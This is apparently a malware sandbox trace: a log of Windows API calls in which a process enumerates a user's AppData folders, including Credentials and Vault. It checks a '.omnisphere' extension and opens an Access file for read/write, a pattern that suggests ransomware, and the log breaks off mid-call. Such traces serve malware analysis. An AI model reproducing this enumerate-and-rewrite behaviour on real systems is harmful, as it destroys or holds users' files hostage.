hFindFile=0x1639b28, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0081.503] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0081.503] GetProcessHeap () returned 0x1600000 [0081.503] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633888 | out: hHeap=0x1600000) returned 1 [0081.503] GetProcessHeap () returned 0x1600000 [0081.503] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668c58 | out: hHeap=0x1600000) returned 1 [0081.504] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0081.504] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0081.504] GetProcessHeap () returned 0x1600000 [0081.504] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a0a0 | out: hHeap=0x1600000) returned 1 [0081.504] GetProcessHeap () returned 0x1600000 [0081.504] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0081.504] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0081.504] GetProcessHeap () returned 0x1600000 [0081.504] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x62) returned 0x163a3b0 [0081.504] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="Microsoft" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft" [0081.504] GetProcessHeap () returned 0x1600000 [0081.504] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x66) returned 0x163a420 [0081.504] PathCombineW (in: pszDest=0x163a420, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\*" [0081.504] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0081.504] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="..", cAlternateFileName="")) returned 1 [0081.504] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x33c5d8bc, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Access", cAlternateFileName="")) returned 1 [0081.504] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="AddIns", cAlternateFileName="")) returned 1 [0081.504] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Crypto", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x32ff935, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Excel", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="InputMethod", cAlternateFileName="INPUTM~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="MMC", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Network", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15925c1b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15925c1b, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Office", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Outlook", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Proof", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Protect", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Signatures", cAlternateFileName="SIGNAT~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Speech", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe3719c0d, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xf50bbe18, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="UProof", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Vault", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Windows", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Word", cAlternateFileName="")) returned 1 [0081.506] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Word", cAlternateFileName="")) returned 0 [0081.506] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0081.506] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639768 [0081.506] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.506] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x33c5d8bc, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0081.506] GetProcessHeap () returned 0x1600000 [0081.506] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x165fbe8 [0081.506] PathCombineW (in: pszDest=0x165fbe8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Access" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access" [0081.506] GetProcessHeap () returned 0x1600000 [0081.506] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f980 [0081.506] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\*" [0081.506] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0081.507] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0081.507] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5d8bc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3f1c0c3d, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0xdb, cFileName="AccessCache.accdb", cAlternateFileName="ACCESS~1.ACC")) returned 1 [0081.507] GetProcessHeap () returned 0x1600000 [0081.507] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x167bd08 [0081.507] PathCombineW (in: pszDest=0x167bd08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", pszFile="AccessCache.accdb" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" [0081.507] StrStrW (lpFirst=".omnisphere", lpSrch=".accdb") returned 0x0 [0081.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0081.508] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=200704) returned 1 [0081.508] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x30adc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0081.509] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0d770, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0dcb8, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesRead=0x3e0dcb8*=0x524, 